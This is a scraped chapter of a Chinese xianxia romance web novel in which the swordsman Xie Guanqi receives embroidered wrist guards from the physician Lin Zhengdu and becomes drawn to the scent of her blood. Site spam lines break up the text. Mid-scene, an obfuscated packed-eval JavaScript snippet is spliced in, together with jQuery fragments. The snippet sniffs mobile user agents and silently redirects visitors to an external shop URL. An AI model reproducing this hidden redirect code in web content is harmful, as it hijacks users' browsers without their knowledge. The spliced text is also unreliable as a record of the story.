第41章 乌梅桂花糖 ◎林争渡,你怎么那么好?◎

作品:《剑修,狗都不谈

    云省长老转头看了谢观棋一眼疑惑:“你又没有受伤脖子上缠着绷带做什么?”


    九境修士的体魄格外强大只要不是伤及命门都能自行痊愈只是时间长短的区别而已。


    林争渡又给谢观棋上了好药又做了缝合他只是从药宗晃回剑宗的功夫绷带底下的伤口已经愈合得只剩下血痂和因为体质缘故留下的红痕了。


    在云省眼里这就是无伤。


    谢观棋回答:“在秘境里受了点轻伤我朋友担心我给我包扎了一下。”


    他回答时神色很淡但是眉毛扬得比平时高颧骨边的脸颊肉也微微上升露出一点得意来。


    云省长老更疑惑:“朋友?”


    谢观棋解释:“佩兰仙子的徒弟之前为我解毒的林争渡林大夫——她为人温柔和善和我很合得来。”


    云省长老回忆片刻终于从佩兰仙子那一堆徒弟里面找出了和这个名字对应的脸;他一直知道新荔有个很会制药解毒的徒弟不过并未见过面偶尔他有事找新荔去到菡萏馆菡萏馆的阵法示警有外人进入那孩子就像嗅到生人气味的野猫一溜烟跑去不知道什么地方躲着了。


    之前送**的谢观棋过去是云省长老第一次见到林争渡本人。不过他对林争渡长什么样已经没有印象了只隐约记得是个很秀美清雅的年轻女孩。


    但在剑宗内部云省长老倒是听过许多关于新荔弟子的传言:据说那个女弟子为人孤僻不爱与外人往来虽然很会制药但行事风格有些邪性曾经提议过以切开病人头颅的方式来治疗头痛病。


    不过幸好该弟子修为平平且不爱出门医治活人实乃天下修士之大幸。


    回忆结束云省长老点了点头道:“新荔的弟子?那很好——你难得交到朋友要好好珍惜时常去找她玩。我记得她好像修炼天赋一般?”


    谢观棋眉头一皱:“没有一般只是正常的修炼天赋而已。林大夫修为涨得慢是因为她有很多别的事情要做她很忙的不像我们只要练剑就行了。”


    云省长老:“……我的意思是


    两人又一问一答了些很日常的废话基本上都是围绕‘你最近剑练得怎么样?’‘我还好师父你呢?’这样的话题打转。


    等聊完修炼师徒二人便都沉默了下来。


    除去修炼之外二人都觉得自己和对方没什么可聊的。谢观棋陪站半晌见师父应该不会上吊便回自己住处去了。


    在自己家门口谢观棋遇到一个没有佩剑


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    的陌生弟子——对方直接蹲在了地面上,满脸愁苦神色,旁边还摆着一个堆满信封的竹筐。


    看见谢观棋走近,年轻弟子一下子受惊的跳起来,同时隐晦的看了眼谢观棋的脖颈:紧缠的白色绷带从剑修脖颈一直蔓延入衣领中。


    谢师兄受伤了?不是说只是去秘境里带新弟子吗?


    年轻弟子又好奇又不敢八卦,低下头道:“谢师兄好——师兄,这些是从外面寄来给你的信。我们之前也送过来了几次,但正好师兄你都不在……”


    谢观棋:“你是新到驿站的弟子?”


    年轻弟子被打断了话头,愣了愣,慢半拍的回答:“去、去年调入驿站的——”


    谢观棋了然,道:“驿站收到给我的信不用送过来,直接销毁就行了,我不收外界的信。”


    赤红的火灵从谢观棋指尖涌出,外形酷似五瓣的红花,轻飘飘落到堆满竹筐的信纸堆上。


    二者刚一接触,竹筐里的信纸当即被烧成青烟,但装着信纸的竹筐却毫发无损。


    谢观棋越过还在呆愣中的年轻弟子,推开院门进屋。


    他时常去宗门外面游历,出门在外便难免会接触到许多人。即使谢观棋不搭理,有的人也会坚持不懈写信给他。


    从外面寄来的信太多,驿站弟子天天都要跑好几趟,被迫收信的谢观棋也感觉到烦不胜烦,干脆让驿站弟子收到信不必送过来,直接堆在竹筐里。


    堆满了就送去烧掉。


    晚饭谢观棋烧了一只很肥的鹅,佐料放得很足,但是咬了一口之后,谢观棋却没有尝到味道。


    他盯着烤架上滋滋冒油的肥鹅,从视觉效果来看明明应该很香很好吃才对。但是谢观棋既闻不到食物的香味,也尝不出食物的美味。


    ……见鬼了。


    何相逢在食堂吃完晚饭回来,正琢磨着今天晚上要不要看会书什么的——还没走到自己房间门口,却被人抓住胳膊往旁边一拽,拽进了房舍之间的巷子里。


    这一拽突如其来,吓得何相逢心脏狂跳,差点以为是合欢宗那谁;结果一抬头,看见大师兄的脸。


    何相逢的心跳一下子平静了下来。


    何相逢迅速的把胳膊从谢观棋掌心抽走,“师兄,你找我有什么事吗?”


    谢观棋掏出一包油纸打开,“你吃一口。”


    何相逢茫然,看了眼谢观棋打开的那包油纸:只见油纸里包着几块有点凉掉的烧鹅。虽然有点凉了,但味道闻起来还是挺香的。


    秉承着好歹是同门师兄弟往日无仇近日无冤的,大师兄应当不会想要毒死他这样的想法,何相逢抓起一块扔进嘴里,咀嚼。


    谢观棋:“怎么样?”


    何相逢嚼嚼嚼


    你的朋友正在书荒,快去帮帮他吧


    :“嗯……挺……挺好吃的……就是……有点凉了……”


    谢观棋神色严肃:“所以它有味道。”


    何相逢喉咙一咕隆,把食物咽下去,点头:“有味道啊——这个鹅是出什么事了吗?”


    谢观棋把剩下的烧鹅也塞给何相逢,没有回答他的问题,扭头离开了。


    被留在原地的何相逢茫然眨眨眼睛,思索片刻,又拿了块烧鹅肉放进嘴里。


    虽然不明白原因,不过烧鹅挺好吃的。


    *


    护腕缝完,林争渡放下针线,站起来活动了一下,抬手捏着自己后脖颈。


    转动脑袋时,她眼角余光瞥见桌面上那双红盈盈的耳坠——是用龙血石余料做的。


    因为有部分龙血石碎块,林争渡是拿来给师父缝腰带的,所以只有用在护腕上的那部分龙血石保留了宝石原本的火属性,而其他的龙血石碎片,包括制作耳坠的部分,都用引灵粉祛除了里面原有的火灵,同时经过其他材料的加工,保持了宝石原本璀璨的红色。


    将耳坠拿在手上,触感温热,但却没有火灵灼手。


    只是一件没有属性的普通饰品,对水木灵根的修士来说也很友好。


    林争渡挪了挪椅子,把梳妆镜挪到面前,微微侧脸捻了捻自己耳垂。


    她原本是有耳洞的,但因为最近太忙,好长一段时间都没戴耳环了,所以耳洞略有愈合。


    林争渡手指捏了半天,好不容易摸到耳洞位置,正拿起耳环,比划耳针位置时——


    “你在做什么?”


    一道声音突然从窗户边传来,吓得林争渡手一抖,耳针扎歪了。她闭上眼睛嘶了一声,指尖摸到湿润。


    雪白耳垂上,几滴血珠涌出,有些融进她指甲里,也有两滴落到耳坠子上,和赤红的宝石融为一体。


    谢观棋立刻翻窗进来,紧张的握住林争渡手腕——林争渡睁开眼睛:“没事没事,耳洞闭合得太小了而已。”


    她用另外只手抽出手帕,捂在耳垂上捏了捏,残余的血迹很快在棉布上浸开暗红色。


    谢观棋垂眼,盯着林争渡耳朵,微不可闻的吸了一口气:他闻到了一股……乌梅桂花糖的味道。


    谢观棋疑惑:“林大夫,你换熏香了吗?”


    林争渡也疑惑:“熏香?我不用那个,熏香的味道会影响制药效果——你要不要先松开手?”


    林争渡晃了晃还被谢观棋抓住的手腕,同时眼神瞥到谢观棋的护腕上。


    他戴着的护腕还是那一对,黑色布料上游走着粗糙的刺绣。


    谢观棋松开手,道:“可是你身上的味道变了。”


    林争渡:“味道变了?”


    谢观棋点头:“从花香味变成了乌梅桂花


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    糖。”


    林争渡想了想,低头解下一个锦囊打开——锦囊里放着几颗方块糖,林争渡拿起一颗塞进谢观棋嘴里,笑眯眯:“是这个味道吗?”


    谢观棋合上嘴巴吮了吮糖块,牙齿一下子将其咬碎:“不是这个,这是橘子味的。”


    林争渡没在意,道:“反正都是糖,可能是你闻串了。不说那个,你来,坐下。”


    因为谢观棋总来找自己,还不走正门,时常翻窗户,导致林争渡每次见谢观棋,不是在卧室,就是在配药室。吸取了前几次的教训,林争渡干脆在卧室里多放了两把椅子,这会指的就是离自己比较近的一把。


    谢观棋拉开椅子坐下,看了眼多出来的那把椅子,倒是没吭声。


    林争渡拉他的手,他也乖乖把手伸过去,放到林争渡膝盖上。


    谢观棋护腕上打的又是死结,林争渡捏着他戴了护腕的手腕翻来转去,指尖抠了抠那团死结,叹气抱怨:“就不能打个活结吗?死结很难解啊。”


    谢观棋道:“单手打活结不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073013|183969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方便。”


    最后还是把死结解开了,林争渡将护腕拆下来,压在护腕底下的袖口一下子散开下滑,露出一截手腕。


    因为常年戴护腕束袖的缘故,谢观棋手腕很白,腕口往上的地方,盘桓着暗红色疤痕。


    谢观棋看见了,想把手腕缩回袖子里,却被林争渡抓住。她低着头,将谢观棋衣袖往上折,那道伤痕渐渐暴露在林争渡视线里。


    那疤痕并不是笔直的一条,中间分叉出去许多,张牙舞爪的模样,像一只多足的怪物趴在他小臂上。


    谢观棋小声道:“不怎么好看,你别看了,不要吓到你。”


    林争渡沉默片刻,很长的叹了一口气,“怎么伤的啊?”


    谢观棋回忆了几秒钟,“有一回遇上个邪修,会用蛊虫寄生他人。他养的蛊虫爬进我小臂时,被我烧**——其实他损失比较大,我只是小臂受了伤,但他已经**,而且还没有坟。”


    林争渡把他袖子放下来,闷闷不乐道:“你去斗邪修,你师父不跟在后面看着你吗?”


    谢观棋:“跟了,但是这种小伤,不用……”


    话到一半,谢观棋想到自己上次被凶,一时心虚起来,问:“你不会哭吧?”


    林争渡被他这句话弄得什么愁绪都没有了,没好气道:“我为什么要哭?哼!”


    她从针线篮子里拿过新护腕,扣到谢观棋手腕上,绑上绑带,打了个蝴蝶结。


    宝蓝色的护腕上绣着一圈莲花团纹,花心的位置由红线和龙血石碎片点缀。


    谢观棋愣住——他的脑袋还没有转过来,林争渡已经将另外一只护腕也解开,给他换上了新的。


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    她把旧的护腕叠好,放到谢观棋腿上,“你活动一下手腕,看尺寸合不合适。”


    谢观棋还觉得不可思议:“给我做的?”


    林争渡:“你要是不想要,也可以脱下……”


    谢观棋迅速道:“想要!”


    他连说话语速都变得比平时快,话还没有说完,人已经急急忙忙转了两下手腕,话赶话的回答:“好合适,原来你是绣给我的啊?”


    谢观棋高兴极了,漆黑的眼瞳亮闪闪盯着林争渡,眼睛和唇角都笑弯弯的。


    见他这么高兴,林争渡也跟着笑了笑:自己精心准备的礼物,得到了正向的反馈,谁都会心情好的。


    她用食指戳了下谢观棋的额头——他的脑袋纹丝不动,额头上的皮肤滚烫,倒是林争渡被烫得指尖一颤。


    谢观棋握住林争渡的手,把脸贴到她手腕上:“林争渡,你怎么那么好?”


    虽然平时谢观棋身上温度也很高,但是林争渡总感觉今天他有点——格外的热。


    抓住她手的掌心粗糙而滚烫,就连贴到她手腕上的那张脸都热得厉害,林争渡分明看见他脸上已经冒出红晕。


    林争渡哭笑不得,推了推他的脸:“只是一对护腕而已,干嘛这么……”


    林争渡没能推开他,谢观棋的脸仍旧贴在林争渡手腕上。


    他心脏跳得很快,一想到林大夫坐在椅子上一针一线的给他绣护腕,谢观棋就觉得好开心——林大夫绣护腕的时候肯定心里想的都是他吧?


    她会想这个颜色适不适合谢观棋,会想这个图案适不适合谢观棋,会想……


    林争渡会在做护腕的那个时刻,心里只想着谢观棋。


    他低下头去,乌黑的长卷发擦过林争渡手腕,整张脸都埋进了林争渡膝盖,温度很高的呼吸穿过裙子布料,落到林争渡皮肤上。


    林争渡被吓了一跳,“有、有这么高兴吗?你不会哭了吧?”


    谢观棋闷声:“因为我真的很高兴,我好喜欢你送我的礼物——”


    他的心跳越来越快时,鼻尖嗅到的那股乌梅桂花糖气味也变得越来越香。


    谢观棋很确定那股甜香味来自于林争渡身上——不是她锦囊里的那几颗糖,也不是她的衣服。而是来自于衣服底下的皮肤,以及她耳垂上的伤口,滴在耳坠上的血迹。


    好饿。


    现在还是夏天,本来就很热了。林争渡两手捧住谢观棋脑袋,推他起来:“你喜欢的话,我下回再给你做点别的,不要靠在我膝盖上,你的头发盖着我好热。”


    她冰凉的手掌撑着谢观棋脸颊,右手指尖还沾着刚刚戴耳环时滴到指甲缝里的血。


    好香好香好香好香——


    谢观棋抬起脸,绯红从他颧骨处烧到眼尾,他一口咬住那根沾过血的指尖,乌漆漆瞳孔注视着林争渡,问:“是只给我一个人做的吗?”